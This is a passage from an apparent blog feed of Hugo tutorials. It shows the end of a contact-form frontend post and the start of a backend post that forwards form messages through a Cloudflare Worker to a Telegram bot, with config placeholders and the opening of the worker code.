</span></span><span style="display:flex;"><span><span style="color:#a6e22e">messageText</span>.<span style="color:#a6e22e">disabled</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">submit</span>.<span style="color:#a6e22e">disabled</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">messageJson</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>({
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">MSG</span><span style="color:#f92672">:</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">message</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">UA</span><span style="color:#f92672">:</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">LANG</span><span style="color:#f92672">:</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">language</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DT</span><span style="color:#f92672">:</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">dateTime</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ZONE</span><span style="color:#f92672">:</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">Intl</span>.<span style="color:#a6e22e">DateTimeFormat</span>().<span style="color:#a6e22e">resolvedOptions</span>().<span style="color:#a6e22e">timeZone</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>
</span></span><span style="display:flex;"><span>});
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">open</span>(<span style="color:#e6db74">&#34;POST&#34;</span>, <span style="color:#a6e22e">url</span>, <span style="color:#66d9ef">true</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">setRequestHeader</span>(<span style="color:#e6db74">&#34;Content-Type&#34;</span>, <span style="color:#e6db74">&#34;application/json&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">onreadystatechange</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">readyState</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">status</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">200</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">parse</span>(<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">response</span>));
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">send</span>(<span style="color:#a6e22e">messageJson</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">submit</span>.<span style="color:#a6e22e">innerHTML</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Sent &amp;#10003;&#34;</span>;</span></span></code></pre></td></tr></table>
</div>
</div>
<p>If captcha is verified and message length is greater than 20 characters, we take current date from system, disable all the input fields and create a JSON document for the message, which also includes browsers'</p>
<ul>
<li><code>userAgent</code></li>
<li><code>language</code></li>
<li><code>timeZone</code></li>
</ul>
<p>Just to verify that a human has indeed sent the message. I could have used browser fingerprinting, but it is a 3rd party package and I don&rsquo;t want to use your browser for advertising.</p>
<p>After that a POST request is sent to Cloudflare worker, and to make this stuff transparent, submit button is updated.</p>
<p>Thus, you have a proper contact form in your Hugo Page. Use it to your heart&rsquo;s content.</p>
<hr>
<blockquote>
<p>I know this is a bit rushed and could not provide my usual humor. There is much going on in my life. This is the reason why I could not update the blog for such a long time.</p>
</blockquote>
]]></content></item><item><title>Forms in Hugo - Backend stuff</title><link>https://blzr.sbs/posts/forms-in-hugo-backend/</link><pubDate>Mon, 01 Jan 2024 01:01:24 +0530</pubDate><guid>https://blzr.sbs/posts/forms-in-hugo-backend/</guid><description>A little guide on how to implement Forms in Hugo. Part 1</description><content type="html"><![CDATA[<p>Every self-respecting blog needs a Contact section and a fleeting hope that some audience/reader will use that to contact them; which may as well steer their life into an uncharted territory. It is believed that having a Contact section in blog actually helps if readers cares so much that they will spare a couple of minutes to appreciate or rectify mistakes. In addition to that, a blog with a contact page is thought to do well in terms of SEO; for which I have no studies to cite to.</p>
<p>That being said, and having accepted that the contact form in my blog is as useless as Anne Frank&rsquo;s drumset, let&rsquo;s see how I managed to put together a living mess which I call a contact form.</p>
<p>Before, we jump any deeper, we need to know that Hugo generates a static webpage by default, so once a content is served, the server has no fucking clue on what you are doing with it. Sure, you can bring out creativity out of your ass to make it a WordPress clone and add a buttload of dynamic elements. But, if that&rsquo;s the objective, you are better off using WordPress. Where was I? Yes, Hugo makes static pages, Sever has no clue yada-yada-yada&hellip;</p>
<p>This staticness (I learned that today) creates a problem that I cannot add a contact form and have a backend to gather data published to it. My site is generously hosted by free version of GitLab, any hope that I will have a dynamic backend is out of the window (which is ironic because I work as a backend engineer in my day job).</p>
<p>This is how I ended up in this place. Are you ready for a ride?</p>

<figure><picture>
          <source srcset="/images/forms-in-hugo/yoda-crickets_hu16031350581686284903.webp" type="image/webp">
          <source srcset="/images/forms-in-hugo/yoda-crickets_hu4969560478349632250.jpg" type="image/jpeg">
          <img src="/images/forms-in-hugo/yoda-crickets_hu16031350581686284903.webp"alt="Yoda says, The sound of crickets I hear"  width="407"  height="386"  loading="lazy" />
        </picture><figcaption>
            <p>Well, fuck me</p>
          </figcaption></figure>
<h2 id="step-1-getting-backend-ready">Step 1. Getting backend ready</h2>
<p>One thing I have learned about websites where front-end and backend doesn&rsquo;t talk to one another, is to make backend first.</p>
<p>And for me that backend is&hellip;.. &#x1f941; &#x1f941; &#x1f941; please&hellip;. It&rsquo;s Telegram. Yup, that&rsquo;s my backend. That is my NoSQL database.</p>
<h3 id="having-a-telegram-bot">Having a Telegram Bot</h3>
<p>I have created a Telegram Bot. You can make your very own bot from <a href="https://telegram.me/BotFather">BotFather</a>. Keep the <code>BOT_TOKEN</code> noted down. Next thing is to get your Chat ID. Yes, there is a chatid associated to your Telegram account. If you can read Telegram Bot&rsquo;s logs, else <a href="https://www.alphr.com/find-chat-id-telegram/">follow this article</a>.</p>
<p>P.S. You can read bot logs by going to this URL : <code>https://api.telegram.org/bot&lt;BOT_TOKEN&gt;/getUpdates</code></p>
<p>That is only interaction needed from Telegram as of now.</p>
<h3 id="making-a-cloudflare-worker">Making a Cloudflare Worker</h3>
<p>Keeping in line with my cheap-ass-ness; and due to the fact that my domain&rsquo;s DNS is Cloudflare, I will be using Cloudflare Worker. It is the same as AWS Lambda or Azure Functions, as it provides a microservice platform to run a simple script which will listen to the form output and forward it to Telegram bot.</p>
<p>To create a Cloudflare Worker, go to : <code>https://dash.cloudflare.com/&lt;ACCOUNT_ID&gt;/workers-and-pages/create/workers/new</code> to create a new worker application in your Cloudflare account. You could follow a tutorial, if you are lost in the maze of settings or have zero idea where to start. I found <a href="https://www.serviops.ca/a-full-ci-cd-pipeline-for-cloudflare-workers-with-gitlab-ci/">this article</a> quite useful to help a newbie get started.</p>
<p>To get a feel on what the actual heck you&rsquo;re doing, clone my <a href="https://gitlab.com/blzr_0/cloudflare-worker">repo</a> to your local machine and we can follow along.</p>
<h5 id="after-cloning-you-have-to-do-two-things">After cloning, you have to do two things</h5>
<ol>
<li>Install node.js and npm. After that, you can install the dependencies.</li>
<li>And you will have to create a file called <code>wrangler.toml</code>. Fill it up as follows:</li>
</ol>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#a6e22e">name</span> = <span style="color:#e6db74">&#34;&lt;NAME_OF_WORKER&gt;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">main</span> = <span style="color:#e6db74">&#34;index.js&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">compatibility_date</span> = <span style="color:#e6db74">&#34;2022-07-12&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">vars</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">CHATID</span> = <span style="color:#e6db74">&#34;&lt;CHAT_ID&gt;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ORIGIN_URI</span> = <span style="color:#e6db74">&#34;https://&lt;YOUR_DOMAIN.COM&gt;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">TELEGRAMTOKEN</span> = <span style="color:#e6db74">&#34;&lt;BOT_TOKEN&gt;&#34;</span></span></span></code></pre></td></tr></table>
</div>
</div>
<p>We shall discuss <code>index.js</code> and it will be evident why we are using the variables in <code>wrangler.toml</code></p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 40
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 41
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 42
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 43
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 44
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 45
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 46
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 47
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 48
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 49
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 50
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 51
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 52
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 53
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 54
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 55
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 56
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 57
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 58
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 59
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 60
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 61
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 62
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 63
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 64
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 65
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 66
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 67
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 68
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 69
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 70
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 71
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 72
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 73
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 74
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 75
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 76
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 77
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 78
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 79
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 80
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 81
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 82
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 83
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 84
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 85
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 86
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 87
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 88
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 89
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 90
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 91
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 92
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 93
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 94
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 95
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 96
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 97
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 98
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 99
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">100
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">101
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">102
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">103
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">104
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">105
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">106
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">107
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">108
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">109
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">110
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">111
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">112
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">113
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">corsHeaders</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Access-Control-Allow-Origin&#34;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">ORIGIN_URI</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Access-Control-Allow-Methods&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;POST, OPTIONS&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Access-Control-Allow-Headers&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;Content-Type&#34;</span>,
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">&#34;fetch&#34;</span>, <span style="color:#a6e22e">event</span> =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">event</span>.<span style="color:#a6e22e">respondWith</span>(<span style="color:#a6e22e">handleRequest</span>(<span style="color:#a6e22e">event</span>.<span style="color:#a6e22e">request</span>))
</span></span><span style="display:flex;"><span>})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">TG</span>(<span style="color:#a6e22e">BODY</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">bot_url</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`https://api.telegram.org/bot</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">TELEGRAMTOKEN</span><span style="color:#e6db74">}</span><span style="color:#e6db74">/sendMessage`</span>;
